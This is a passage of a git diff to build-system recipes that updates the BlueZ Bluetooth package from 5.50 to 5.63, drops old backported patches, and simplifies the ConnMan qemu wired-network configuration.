-+ { "discoverable", filter_clear_discoverable },
- {}
- };
-
-@@ -2468,7 +2542,11 @@ static const struct bt_shell_menu scan_menu = {
- { "duplicate-data", "[on/off]", cmd_scan_filter_duplicate_data,
- "Set/Get duplicate data filter",
- NULL },
-- { "clear", "[uuids/rssi/pathloss/transport/duplicate-data]",
-+ { "discoverable", "[on/off]", cmd_scan_filter_discoverable,
-+ "Set/Get discoverable filter",
-+ NULL },
-+ { "clear",
-+ "[uuids/rssi/pathloss/transport/duplicate-data/discoverable]",
- cmd_scan_filter_clear,
- "Clears discovery filter.",
- filter_clear_generator },
-@@ -2549,6 +2627,8 @@ static const struct bt_shell_menu main_menu = {
- { "discoverable", "<on/off>", cmd_discoverable,
- "Set controller discoverable mode",
- NULL },
-+ { "discoverable-timeout", "[value]", cmd_discoverable_timeout,
-+ "Set discoverable timeout", NULL },
- { "agent", "<on/off/capability>", cmd_agent,
- "Enable/disable agent with given capability",
- capability_generator},
-diff --git a/doc/adapter-api.txt b/doc/adapter-api.txt
-index d14d0ca..4791af2 100644
---- a/doc/adapter-api.txt
-+++ b/doc/adapter-api.txt
-@@ -113,6 +113,12 @@ Methods void StartDiscovery()
- generated for either ManufacturerData and
- ServiceData everytime they are discovered.
-
-+ bool Discoverable (Default: false)
-+
-+ Make adapter discoverable while discovering,
-+ if the adapter is already discoverable this
-+ setting this filter won't do anything.
-+
- When discovery filter is set, Device objects will be
- created as new devices with matching criteria are
- discovered regardless of they are connectable or
-diff --git a/src/adapter.c b/src/adapter.c
-index af340fd..822bd34 100644
---- a/src/adapter.c
-+++ b/src/adapter.c
-@@ -157,6 +157,7 @@ struct discovery_filter {
- int16_t rssi;
- GSList *uuids;
- bool duplicate;
-+ bool discoverable;
- };
-
- struct watch_client {
-@@ -196,6 +197,7 @@ struct btd_adapter {
- char *name; /* controller device name */
- char *short_name; /* controller short name */
- uint32_t supported_settings; /* controller supported settings */
-+ uint32_t pending_settings; /* pending controller settings */
- uint32_t current_settings; /* current controller settings */
-
- char *path; /* adapter object path */
-@@ -213,6 +215,7 @@ struct btd_adapter {
-
- bool discovering; /* discovering property state */
- bool filtered_discovery; /* we are doing filtered discovery */
-+ bool filtered_discoverable; /* we are doing filtered discovery */
- bool no_scan_restart_delay; /* when this flag is set, restart scan
- * without delay */
- uint8_t discovery_type; /* current active discovery type */
-@@ -509,8 +512,10 @@ static void settings_changed(struct btd_adapter *adapter, uint32_t settings)
- changed_mask = adapter->current_settings ^ settings;
-
- adapter->current_settings = settings;
-+ adapter->pending_settings &= ~changed_mask;
-
- DBG("Changed settings: 0x%08x", changed_mask);
-+ DBG("Pending settings: 0x%08x", adapter->pending_settings);
-
- if (changed_mask & MGMT_SETTING_POWERED) {
- g_dbus_emit_property_changed(dbus_conn, adapter->path,
-@@ -596,10 +601,31 @@ static bool set_mode(struct btd_adapter *adapter, uint16_t opcode,
- uint8_t mode)
- {
- struct mgmt_mode cp;
-+ uint32_t setting = 0;
-
- memset(&cp, 0, sizeof(cp));
- cp.val = mode;
-
-+ switch (mode) {
-+ case MGMT_OP_SET_POWERED:
-+ setting = MGMT_SETTING_POWERED;
-+ break;
-+ case MGMT_OP_SET_CONNECTABLE:
-+ setting = MGMT_SETTING_CONNECTABLE;
-+ break;
-+ case MGMT_OP_SET_FAST_CONNECTABLE:
-+ setting = MGMT_SETTING_FAST_CONNECTABLE;
-+ break;
-+ case MGMT_OP_SET_DISCOVERABLE:
-+ setting = MGMT_SETTING_DISCOVERABLE;
-+ break;
-+ case MGMT_OP_SET_BONDABLE:
-+ setting = MGMT_SETTING_DISCOVERABLE;
-+ break;
-+ }
-+
-+ adapter->pending_settings |= setting;
-+
- DBG("sending set mode command for index %u", adapter->dev_id);
-
- if (mgmt_send(adapter->mgmt, opcode,
-@@ -1818,7 +1844,17 @@ static void discovery_free(void *user_data)
- g_free(client);
- }
-
--static void discovery_remove(struct watch_client *client)
-+static bool set_filtered_discoverable(struct btd_adapter *adapter, bool enable)
-+{
-+ if (adapter->filtered_discoverable == enable)
-+ return true;
-+
-+ adapter->filtered_discoverable = enable;
-+
-+ return set_discoverable(adapter, enable, 0);
-+}
-+
-+static void discovery_remove(struct watch_client *client, bool exit)
- {
- struct btd_adapter *adapter = client->adapter;
-
-@@ -1830,7 +1866,27 @@ static void discovery_remove(struct watch_client *client)
- adapter->discovery_list = g_slist_remove(adapter->discovery_list,
- client);
-
-- discovery_free(client);
-+ if (adapter->filtered_discoverable &&
-+ client->discovery_filter->discoverable) {
-+ GSList *l;
-+
-+ for (l = adapter->discovery_list; l; l = g_slist_next(l)) {
-+ struct watch_client *client = l->data;
-+
-+ if (client->discovery_filter->discoverable)
-+ break;
-+ }
-+
-+ /* Disable filtered discoverable if there are no clients */
-+ if (!l)
-+ set_filtered_discoverable(adapter, false);
-+ }
-+
-+ if (!exit && client->discovery_filter)
-+ adapter->set_filter_list = g_slist_prepend(
-+ adapter->set_filter_list, client);
-+ else
-+ discovery_free(client);
-
- /*
- * If there are other client discoveries in progress, then leave
-@@ -1859,8 +1915,11 @@ static void stop_discovery_complete(uint8_t status, uint16_t length,
- goto done;
- }
-
-- if (client->msg)
-+ if (client->msg) {
- g_dbus_send_reply(dbus_conn, client->msg, DBUS_TYPE_INVALID);
-+ dbus_message_unref(client->msg);
-+ client->msg = NULL;
-+ }
-
- adapter->discovery_type = 0x00;
- adapter->discovery_enable = 0x00;
-@@ -1873,7 +1932,7 @@ static void stop_discovery_complete(uint8_t status, uint16_t length,
- trigger_passive_scanning(adapter);
-
- done:
-- discovery_remove(client);
-+ discovery_remove(client, false);
- }
-
- static int compare_sender(gconstpointer a, gconstpointer b)
-@@ -2094,14 +2153,14 @@ static int update_discovery_filter(struct btd_adapter *adapter)
- return -EINPROGRESS;
- }
-
--static int discovery_stop(struct watch_client *client)
-+static int discovery_stop(struct watch_client *client, bool exit)
- {
- struct btd_adapter *adapter = client->adapter;
- struct mgmt_cp_stop_discovery cp;
-
- /* Check if there are more client discovering */
- if (g_slist_next(adapter->discovery_list)) {
-- discovery_remove(client);
-+ discovery_remove(client, exit);
- update_discovery_filter(adapter);
- return 0;
- }
-@@ -2111,7 +2170,7 @@ static int discovery_stop(struct watch_client *client)
- * and so it is enough to send out the signal and just return.
- */
- if (adapter->discovery_enable == 0x00) {
-- discovery_remove(client);
-+ discovery_remove(client, exit);
- adapter->discovering = false;
- g_dbus_emit_property_changed(dbus_conn, adapter->path,
- ADAPTER_INTERFACE, "Discovering");
-@@ -2136,7 +2195,7 @@ static void discovery_disconnect(DBusConnection *conn, void *user_data)
-
- DBG("owner %s", client->owner);
-
-- discovery_stop(client);
-+ discovery_stop(client, true);
- }
-
- /*
-@@ -2200,6 +2259,15 @@ static DBusMessage *start_discovery(DBusConnection *conn,
- adapter->set_filter_list, client);
- adapter->discovery_list = g_slist_prepend(
- adapter->discovery_list, client);
-+
-+ /* Reset discoverable filter if already set */
-+ if (adapter->current_settings & MGMT_OP_SET_DISCOVERABLE)
-+ goto done;
-+
-+ /* Set discoverable if filter requires and it*/
-+ if (client->discovery_filter->discoverable)
-+ set_filtered_discoverable(adapter, true);
-+
- goto done;
- }
-
-@@ -2324,6 +2392,17 @@ static bool parse_duplicate_data(DBusMessageIter *value,
- return true;
- }
-
-+static bool parse_discoverable(DBusMessageIter *value,
-+ struct discovery_filter *filter)
-+{
-+ if (dbus_message_iter_get_arg_type(value) != DBUS_TYPE_BOOLEAN)
-+ return false;
-+
-+ dbus_message_iter_get_basic(value, &filter->discoverable);
-+
-+ return true;
-+}
-+
- struct filter_parser {
- const char *name;
- bool (*func)(DBusMessageIter *iter, struct discovery_filter *filter);
-@@ -2333,6 +2412,7 @@ struct filter_parser {
- { "Pathloss", parse_pathloss },
- { "Transport", parse_transport },
- { "DuplicateData", parse_duplicate_data },
-+ { "Discoverable", parse_discoverable },
- { }
- };
-
-@@ -2372,6 +2452,7 @@ static bool parse_discovery_filter_dict(struct btd_adapter *adapter,
- (*filter)->rssi = DISTANCE_VAL_INVALID;
- (*filter)->type = get_scan_type(adapter);
- (*filter)->duplicate = false;
-+ (*filter)->discoverable = false;
-
- dbus_message_iter_init(msg, &iter);
- if (dbus_message_iter_get_arg_type(&iter) != DBUS_TYPE_ARRAY ||
-@@ -2417,8 +2498,10 @@ static bool parse_discovery_filter_dict(struct btd_adapter *adapter,
- goto invalid_args;
-
- DBG("filtered discovery params: transport: %d rssi: %d pathloss: %d "
-- " duplicate data: %s ", (*filter)->type, (*filter)->rssi,
-- (*filter)->pathloss, (*filter)->duplicate ? "true" : "false");
-+ " duplicate data: %s discoverable %s", (*filter)->type,
-+ (*filter)->rssi, (*filter)->pathloss,
-+ (*filter)->duplicate ? "true" : "false",
-+ (*filter)->discoverable ? "true" : "false");
-
- return true;
-
-@@ -2510,7 +2593,7 @@ static DBusMessage *stop_discovery(DBusConnection *conn,
- if (client->msg)
- return btd_error_busy(msg);
-
-- err = discovery_stop(client);
-+ err = discovery_stop(client, false);
- switch (err) {
- case 0:
- return dbus_message_new_method_return(msg);
-@@ -2739,13 +2822,15 @@ static void property_set_mode(struct btd_adapter *adapter, uint32_t setting,
- else
- current_enable = FALSE;
-
-- if (enable == current_enable) {
-+ if (enable == current_enable || adapter->pending_settings & setting) {
- g_dbus_pending_property_success(id);
- return;
- }
-
- mode = (enable == TRUE) ? 0x01 : 0x00;
-
-+ adapter->pending_settings |= setting;
-+
- switch (setting) {
- case MGMT_SETTING_POWERED:
- opcode = MGMT_OP_SET_POWERED;
-@@ -2798,7 +2883,7 @@ static void property_set_mode(struct btd_adapter *adapter, uint32_t setting,
- data->id = id;
-
- if (mgmt_send(adapter->mgmt, opcode, adapter->dev_id, len, param,
-- property_set_mode_complete, data, g_free) > 0)
-+ property_set_mode_complete, data, g_free) > 0)
- return;
-
- g_free(data);
-@@ -2875,6 +2960,7 @@ static void property_set_discoverable_timeout(
- GDBusPendingPropertySet id, void *user_data)
- {
- struct btd_adapter *adapter = user_data;
-+ bool enabled;
- dbus_uint32_t value;
-
- dbus_message_iter_get_basic(iter, &value);
-@@ -2888,8 +2974,19 @@ static void property_set_discoverable_timeout(
- g_dbus_emit_property_changed(dbus_conn, adapter->path,
- ADAPTER_INTERFACE, "DiscoverableTimeout");
-
-+ if (adapter->pending_settings & MGMT_SETTING_DISCOVERABLE) {
-+ if (adapter->current_settings & MGMT_SETTING_DISCOVERABLE)
-+ enabled = false;
-+ else
-+ enabled = true;
-+ } else {
-+ if (adapter->current_settings & MGMT_SETTING_DISCOVERABLE)
-+ enabled = true;
-+ else
-+ enabled = false;
-+ }
-
-- if (adapter->current_settings & MGMT_SETTING_DISCOVERABLE)
-+ if (enabled)
- set_discoverable(adapter, 0x01, adapter->discoverable_timeout);
- }
-
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/gcc9-fixes.patch b/meta/recipes-connectivity/bluez5/bluez5/gcc9-fixes.patch
deleted file mode 100644
index ca678e601e..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/gcc9-fixes.patch
+++ /dev/null
@@ -1,301 +0,0 @@
-Backported commit from upstream master branch (post 5.50 release), which
-resolves assertion failures in several unit tests.
-
-https://git.kernel.org/pub/scm/bluetooth/bluez.git/patch/?id=0be5246170
-
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/unit/test-avctp.c b/unit/test-avctp.c
-index 3bc3569..24de663 100644
---- a/unit/test-avctp.c
-+++ b/unit/test-avctp.c
-@@ -43,7 +43,7 @@
-
- struct test_pdu {
- bool valid;
-- const uint8_t *data;
-+ uint8_t *data;
- size_t size;
- };
-
-@@ -66,7 +66,7 @@ struct context {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -91,6 +91,11 @@ static void test_debug(const char *str, void *user_data)
- static void test_free(gconstpointer user_data)
- {
- const struct test_data *data = user_data;
-+ struct test_pdu *pdu;
-+ int i;
-+
-+ for (i = 0; (pdu = &data->pdu_list[i]) && pdu->valid; i++)
-+ g_free(pdu->data);
-
- g_free(data->test_name);
- g_free(data->pdu_list);
-diff --git a/unit/test-avdtp.c b/unit/test-avdtp.c
-index dd8aed7..e2c951a 100644
---- a/unit/test-avdtp.c
-+++ b/unit/test-avdtp.c
-@@ -47,7 +47,7 @@
- struct test_pdu {
- bool valid;
- bool fragmented;
-- const uint8_t *data;
-+ uint8_t *data;
- size_t size;
- };
-
-@@ -61,7 +61,7 @@ struct test_data {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -69,7 +69,7 @@ struct test_data {
- { \
- .valid = true, \
- .fragmented = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -81,7 +81,7 @@ struct test_data {
- static struct test_data data; \
- data.test_name = g_strdup(name); \
- data.pdu_list = g_memdup(pdus, sizeof(pdus)); \
-- tester_add(name, &data, NULL, function, NULL); \
-+ tester_add(name, &data, NULL, function, NULL); \
- } while (0)
-
- struct context {
-@@ -109,6 +109,11 @@ static void test_debug(const char *str, void *user_data)
- static void test_free(gconstpointer user_data)
- {
- const struct test_data *data = user_data;
-+ struct test_pdu *pdu;
-+ int i;
-+
-+ for (i = 0; (pdu = &data->pdu_list[i]) && pdu->valid; i++)
-+ g_free(pdu->data);
-
- g_free(data->test_name);
- g_free(data->pdu_list);
-diff --git a/unit/test-avrcp.c b/unit/test-avrcp.c
-index 01307e6..f1aa353 100644
---- a/unit/test-avrcp.c
-+++ b/unit/test-avrcp.c
-@@ -49,7 +49,7 @@ struct test_pdu {
- bool fragmented;
- bool continuing;
- bool browse;
-- const uint8_t *data;
-+ uint8_t *data;
- size_t size;
- };
-
-@@ -74,7 +74,7 @@ struct context {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -82,7 +82,7 @@ struct context {
- { \
- .valid = true, \
- .browse = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -90,7 +90,7 @@ struct context {
- { \
- .valid = true, \
- .fragmented = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -98,7 +98,7 @@ struct context {
- { \
- .valid = true, \
- .continuing = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -123,6 +123,11 @@ static void test_debug(const char *str, void *user_data)
- static void test_free(gconstpointer user_data)
- {
- const struct test_data *data = user_data;
-+ struct test_pdu *pdu;
-+ int i;
-+
-+ for (i = 0; (pdu = &data->pdu_list[i]) && pdu->valid; i++)
-+ g_free(pdu->data);
-
- g_free(data->test_name);
- g_free(data->pdu_list);
-diff --git a/unit/test-gatt.c b/unit/test-gatt.c
-index c7e28f8..d49f7a0 100644
---- a/unit/test-gatt.c
-+++ b/unit/test-gatt.c
-@@ -48,7 +48,7 @@
-
- struct test_pdu {
- bool valid;
-- const uint8_t *data;
-+ uint8_t *data;
- size_t size;
- };
-
-@@ -86,7 +86,7 @@ struct context {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -306,6 +306,11 @@ static bt_uuid_t uuid_char_128 = {
- static void test_free(gconstpointer user_data)
- {
- const struct test_data *data = user_data;
-+ struct test_pdu *pdu;
-+ int i;
-+
-+ for (i = 0; (pdu = &data->pdu_list[i]) && pdu->valid; i++)
-+ g_free(pdu->data);
-
- g_free(data->test_name);
- g_free(data->pdu_list);
-@@ -1911,6 +1916,8 @@ static void test_server(gconstpointer data)
- g_assert_cmpint(len, ==, pdu.size);
-
- util_hexdump('<', pdu.data, len, test_debug, "GATT: ");
-+
-+ g_free(pdu.data);
- }
-
- static void test_search_primary(gconstpointer data)
-diff --git a/unit/test-hfp.c b/unit/test-hfp.c
-index f2b9622..890eee6 100644
---- a/unit/test-hfp.c
-+++ b/unit/test-hfp.c
-@@ -43,7 +43,7 @@ struct context {
-
- struct test_pdu {
- bool valid;
-- const uint8_t *data;
-+ uint8_t *data;
- size_t size;
- enum hfp_gw_cmd_type type;
- bool fragmented;
-@@ -63,7 +63,7 @@ struct test_data {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- }
-
-@@ -75,7 +75,7 @@ struct test_data {
- #define type_pdu(cmd_type, args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- .type = cmd_type, \
- }
-@@ -83,7 +83,7 @@ struct test_data {
- #define frg_pdu(args...) \
- { \
- .valid = true, \
-- .data = data(args), \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
- .size = sizeof(data(args)), \
- .fragmented = true, \
- }
-@@ -119,6 +119,11 @@ struct test_data {
- static void test_free(gconstpointer user_data)
- {
- const struct test_data *data = user_data;
-+ struct test_pdu *pdu;
-+ int i;
-+
-+ for (i = 0; (pdu = &data->pdu_list[i]) && pdu->valid; i++)
-+ g_free(pdu->data);
-
- g_free(data->test_name);
- g_free(data->pdu_list);
-diff --git a/unit/test-hog.c b/unit/test-hog.c
-index d117968..25bdb42 100644
---- a/unit/test-hog.c
-+++ b/unit/test-hog.c
-@@ -68,11 +68,11 @@ struct context {
-
- #define data(args...) ((const unsigned char[]) { args })
-
--#define raw_pdu(args...) \
--{ \
-- .valid = true, \
-- .data = data(args), \
-- .size = sizeof(data(args)),\
-+#define raw_pdu(args...) \
-+{ \
-+ .valid = true, \
-+ .data = g_memdup(data(args), sizeof(data(args))), \
-+ .size = sizeof(data(args)), \
- }
-
- #define false_pdu() \
-diff --git a/unit/test-sdp.c b/unit/test-sdp.c
-index ac921a9..c71ee1f 100644
---- a/unit/test-sdp.c
-+++ b/unit/test-sdp.c
-@@ -59,14 +59,14 @@ struct test_data {
- #define raw_pdu(args...) \
- { \
- .valid = true, \
-- .raw_data = raw_data(args), \
-+ .raw_data = g_memdup(raw_data(args), sizeof(raw_data(args))), \
- .raw_size = sizeof(raw_data(args)), \
- }
-
- #define raw_pdu_cont(cont, args...) \
- { \
- .valid = true, \
-- .raw_data = raw_data(args), \
-+ .raw_data = g_memdup(raw_data(args), sizeof(raw_data(args))), \
- .raw_size = sizeof(raw_data(args)), \
- .cont_len = cont, \
- }
-@@ -103,7 +103,7 @@ struct test_data_de {
- #define define_test_de_attr(name, input, exp) \
- do { \
- static struct test_data_de data; \
-- data.input_data = input; \
-+ data.input_data = g_memdup(input, sizeof(input)); \
- data.input_size = sizeof(input); \
- data.expected = exp; \
- tester_add("/sdp/DE/ATTR/" name, &data, NULL, \
diff --git a/meta/recipes-connectivity/bluez5/bluez5/out-of-tree.patch b/meta/recipes-connectivity/bluez5/bluez5/out-of-tree.patch
deleted file mode 100644
index 76ed779258..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/out-of-tree.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From ed55b49a226ca3909f52416be2ae5ce1c5ca2cb2 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Fri, 22 Apr 2016 15:40:37 +0100
-Subject: [PATCH] Makefile.obexd: add missing mkdir in builtin.h generation
-
-In parallel out-of-tree builds it's possible that obexd/src/builtin.h is
-generated before the target directory has been implicitly created. Solve this by
-creating the directory before writing into it.
-
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- Makefile.obexd | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Makefile.obexd b/Makefile.obexd
-index 2e33cbc..c8286f0 100644
---- a/Makefile.obexd
-+++ b/Makefile.obexd
-@@ -105,2 +105,3 @@ obexd/src/plugin.$(OBJEXT): obexd/src/builtin.h
- obexd/src/builtin.h: obexd/src/genbuiltin $(obexd_builtin_sources)
-+ $(AM_V_at)$(MKDIR_P) $(dir $@)
- $(AM_V_GEN)$(srcdir)/obexd/src/genbuiltin $(obexd_builtin_modules) > $@
---
-2.8.0.rc3
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/run-ptest b/meta/recipes-connectivity/bluez5/bluez5/run-ptest
index 21df00c327..0335e68e48 100644
--- a/meta/recipes-connectivity/bluez5/bluez5/run-ptest
+++ b/meta/recipes-connectivity/bluez5/bluez5/run-ptest
@@ -6,7 +6,7 @@ failed=0
all=0
for f in test-*; do
- "./$f"
+ "./$f" -q
case "$?" in
0)
echo "PASS: $f"
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.50.bb b/meta/recipes-connectivity/bluez5/bluez5_5.50.bb
deleted file mode 100644
index 4e443e5fb0..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5_5.50.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-require bluez5.inc
-
-SRC_URI[md5sum] = "8e35c67c81a55d3ad4c9f22280dae178"
-SRC_URI[sha256sum] = "5ffcaae18bbb6155f1591be8c24898dc12f062075a40b538b745bfd477481911"
-
-# noinst programs in Makefile.tools that are conditional on READLINE
-# support
-NOINST_TOOLS_READLINE ?= " \
- ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
- tools/obex-client-tool \
- tools/obex-server-tool \
- tools/bluetooth-player \
- tools/obexctl \
- tools/btmgmt \
-"
-
-# noinst programs in Makefile.tools that are conditional on TESTING
-# support
-NOINST_TOOLS_TESTING ?= " \
- emulator/btvirt \
- emulator/b1ee \
- emulator/hfp \
- peripheral/btsensor \
- tools/3dsp \
- tools/mgmt-tester \
- tools/gap-tester \
- tools/l2cap-tester \
- tools/sco-tester \
- tools/smp-tester \
- tools/hci-tester \
- tools/rfcomm-tester \
- tools/bnep-tester \
- tools/userchan-tester \
-"
-
-# noinst programs in Makefile.tools that are conditional on TOOLS
-# support
-NOINST_TOOLS_BT ?= " \
- tools/bdaddr \
- tools/avinfo \
- tools/avtest \
- tools/scotest \
- tools/amptest \
- tools/hwdb \
- tools/hcieventmask \
- tools/hcisecfilter \
- tools/btinfo \
- tools/btsnoop \
- tools/btproxy \
- tools/btiotest \
- tools/bneptest \
- tools/mcaptest \
- tools/cltest \
- tools/oobtest \
- tools/advtest \
- tools/seq2bseq \
- tools/nokfw \
- tools/create-image \
- tools/eddystone \
- tools/ibeacon \
- tools/btgatt-client \
- tools/btgatt-server \
- tools/test-runner \
- tools/check-selftest \
- tools/gatt-service \
- profiles/iap/iapd \
- ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
-"
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.63.bb b/meta/recipes-connectivity/bluez5/bluez5_5.63.bb
new file mode 100644
index 0000000000..a9ee29135d
--- /dev/null
+++ b/meta/recipes-connectivity/bluez5/bluez5_5.63.bb
@@ -0,0 +1,70 @@
+require bluez5.inc
+
+SRC_URI[sha256sum] = "9349e11e8160bb3d720835d271250d8a7424d3690f5289e6db6fe07cc66c6d76"
+
+# These issues have kernel fixes rather than bluez fixes so exclude here
+CVE_CHECK_IGNORE += "CVE-2020-12352 CVE-2020-24490"
+
+# noinst programs in Makefile.tools that are conditional on READLINE
+# support
+NOINST_TOOLS_READLINE ?= " \
+ ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
+ tools/obex-client-tool \
+ tools/obex-server-tool \
+ tools/bluetooth-player \
+ tools/obexctl \
+ tools/btmgmt \
+"
+
+# noinst programs in Makefile.tools that are conditional on TESTING
+# support
+NOINST_TOOLS_TESTING ?= " \
+ emulator/btvirt \
+ emulator/b1ee \
+ emulator/hfp \
+ peripheral/btsensor \
+ tools/3dsp \
+ tools/mgmt-tester \
+ tools/gap-tester \
+ tools/l2cap-tester \
+ tools/sco-tester \
+ tools/smp-tester \
+ tools/hci-tester \
+ tools/rfcomm-tester \
+ tools/bnep-tester \
+ tools/userchan-tester \
+"
+
+# noinst programs in Makefile.tools that are conditional on TOOLS
+# support
+NOINST_TOOLS_BT ?= " \
+ tools/bdaddr \
+ tools/avinfo \
+ tools/avtest \
+ tools/scotest \
+ tools/amptest \
+ tools/hwdb \
+ tools/hcieventmask \
+ tools/hcisecfilter \
+ tools/btinfo \
+ tools/btsnoop \
+ tools/btproxy \
+ tools/btiotest \
+ tools/bneptest \
+ tools/mcaptest \
+ tools/cltest \
+ tools/oobtest \
+ tools/advtest \
+ tools/seq2bseq \
+ tools/nokfw \
+ tools/create-image \
+ tools/eddystone \
+ tools/ibeacon \
+ tools/btgatt-client \
+ tools/btgatt-server \
+ tools/test-runner \
+ tools/check-selftest \
+ tools/gatt-service \
+ profiles/iap/iapd \
+ ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
+"
diff --git a/meta/recipes-connectivity/connman/connman-conf.bb b/meta/recipes-connectivity/connman/connman-conf.bb
index 9a519ec866..6b9207c4cb 100644
--- a/meta/recipes-connectivity/connman/connman-conf.bb
+++ b/meta/recipes-connectivity/connman/connman-conf.bb
@@ -1,36 +1,19 @@
-SUMMARY = "Connman config to setup wired interface on qemu machines"
-DESCRIPTION = "This is the ConnMan configuration to set up a Wired \
-network interface for a qemu machine."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+SUMMARY = "Connman config to ignore wired interface on qemu machines"
+DESCRIPTION = "This is the ConnMan configuration to avoid touching wired \
+network interface inside qemu machines."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
-inherit systemd
-
-SRC_URI_append_qemuall = " file://wired.config \
- file://wired-setup \
- file://wired-connection.service \
-"
PR = "r2"
S = "${WORKDIR}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${localstatedir}/* ${datadir}/*"
+FILES:${PN} = "${sysconfdir}/*"
-do_install() {
- #Configure Wired network interface in case of qemu* machines
- if test -e ${WORKDIR}/wired.config &&
- test -e ${WORKDIR}/wired-setup &&
- test -e ${WORKDIR}/wired-connection.service; then
- install -d ${D}${localstatedir}/lib/connman
- install -m 0644 ${WORKDIR}/wired.config ${D}${localstatedir}/lib/connman
- install -d ${D}${datadir}/connman
- install -m 0755 ${WORKDIR}/wired-setup ${D}${datadir}/connman
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/wired-connection.service ${D}${systemd_system_unitdir}
- sed -i -e 's|@SCRIPTDIR@|${datadir}/connman|g' ${D}${systemd_system_unitdir}/wired-connection.service
- fi
+# Kernel IP-Config is perfectly capable of setting up networking passed in via ip=
+do_install:append:qemuall() {
+ mkdir -p ${D}${sysconfdir}/default
+ echo "export EXTRA_PARAM=\"-I eth0\"" > ${D}${sysconfdir}/default/connman
}
-
-SYSTEMD_SERVICE_${PN}_qemuall = "wired-connection.service"
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service
deleted file mode 100644
index 48adfc08ac..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service
+++ /dev/null
@@ -1,10 +0,0 @@
-[Unit]
-Description=Setup a wired interface
-Before=connman.service
-
-[Service]
-Type=oneshot
-ExecStart=@SCRIPTDIR@/wired-setup
-
-[Install]
-WantedBy=network.target
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup
deleted file mode 100644
index c46899ef32..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/sh
-
-CONFIGF=/var/lib/connman/wired.config
-
-# Extract wired network config from /proc/cmdline
-NET_CONF=`cat /proc/cmdline |sed -ne 's/^.*ip=\([^ ]*\):\([^ ]*\):\([^ ]*\):\([^ ]*\).*$/\1\/\4\/\3/p'`
-
-# Check if eth0 is already set via kernel cmdline
-if [ "x$NET_CONF" = "x" ]; then
- # Wired interface is not configured via kernel cmdline
- # Remove connman config file template
- rm -f ${CONFIGF}
-else
- # Setup a connman config accordingly
- sed -i -e "s|^IPv4 =.*|IPv4 = ${NET_CONF}|" ${CONFIGF}
-fi
diff --git a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config b/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config
deleted file mode 100644
index 42998ce897..0000000000
--- a/meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config
+++ /dev/null
@@ -1,9 +0,0 @@
-[global]
-Name = Wired
-Description = Wired network configuration
-
-[service_ethernet]
-Type = ethernet
-IPv4 =
-MAC = 52:54:00:12:34:56
-Nameservers = 8.8.8.8
diff --git a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
index a56bd3751f..fcd154b4b0 100644
--- a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
+++ b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
